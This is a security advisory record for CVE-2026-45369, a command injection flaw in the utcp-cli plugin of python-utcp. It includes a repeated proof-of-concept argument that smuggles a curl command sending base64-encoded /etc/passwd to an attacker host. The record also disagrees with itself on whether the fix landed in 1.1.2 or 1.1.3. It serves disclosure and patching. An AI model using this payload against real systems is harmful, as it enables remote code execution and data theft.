{"id":"CVE-2026-45369","aliases":["EUVD-2026-30475","GHSA-33p6-5jxp-p3x4","PYSEC-2026-560"],"status":"published","title":"python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol","description":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00322,"percentile":0.2551,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-05-14T20:14:50Z","modified":"2026-10-26T14:10:00Z","fixes":[{"ecosystem":"PyPI","package":"utcp-cli","fixed_in":["1.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"utcp-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.1"},{"fixed":"1.1.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"utcp-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.2"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.1.0","1.1.1"]},{"source":"osv","ecosystem":"PyPI","package":"utcp-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.2"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.1.0","1.1.1"]}],"products":[{"vendor":"universal-tool-calling-protocol","product":"python-utcp"}],"references":[{"url":"https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4","tags":["x_refsource_CONFIRM","exploit","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45369","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-33p6-5jxp-p3x4","tags":["advisory"]},{"url":"https://github.com/universal-tool-calling-protocol/python-utcp","tags":["package"]},{"url":"https://pypi.org/project/utcp-cli","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45369","title":"python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol","description":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.","status":"published","published":"2026-05-14T20:14:50.993Z","modified":"2026-05-16T01:00:25.585Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:46:43.922571Z"}],"euvd":[{"id":"EUVD-2026-30475","description":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.","status":"published","published":"2026-05-14T20:14:50Z","modified":"2026-05-16T01:00:25Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:04:27.676923Z"}],"ghsa":[{"id":"GHSA-33p6-5jxp-p3x4","title":"utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol","description":"## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f'{var_name}=$({substituted_command} 2\u003e\u00261)')\n```\n\nAnd executed via:\n\n```python\nshell_cmd = ['/bin/bash', '-c', script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.","status":"published","published":"2026-05-14T20:56:01Z","modified":"2026-05-15T23:46:58Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:10.269075Z"}],"nvd":[{"id":"CVE-2026-45369","description":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.","status":"published","published":"2026-05-14T21:16:48.22Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:19.39893Z"}],"osv":[{"id":"GHSA-33p6-5jxp-p3x4","title":"utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol","description":"## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f'{var_name}=$({substituted_command} 2\u003e\u00261)')\n```\n\nAnd executed via:\n\n```python\nshell_cmd = ['/bin/bash', '-c', script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.","status":"published","published":"2026-05-14T20:56:01Z","modified":"2026-06-29T12:26:42.225441037Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:35.050232Z"},{"id":"PYSEC-2026-560","title":"utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol","description":"## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n \n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f'{var_name}=$({substituted_command} 2\u003e\u00261)')\n```\n\nAnd executed via:\n\n```python\nshell_cmd = ['/bin/bash', '-c', script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n ```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n ## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.","status":"published","published":"2026-06-29T11:50:49.296555Z","modified":"2026-07-13T16:15:34.58290864Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:57.671918Z"}]}}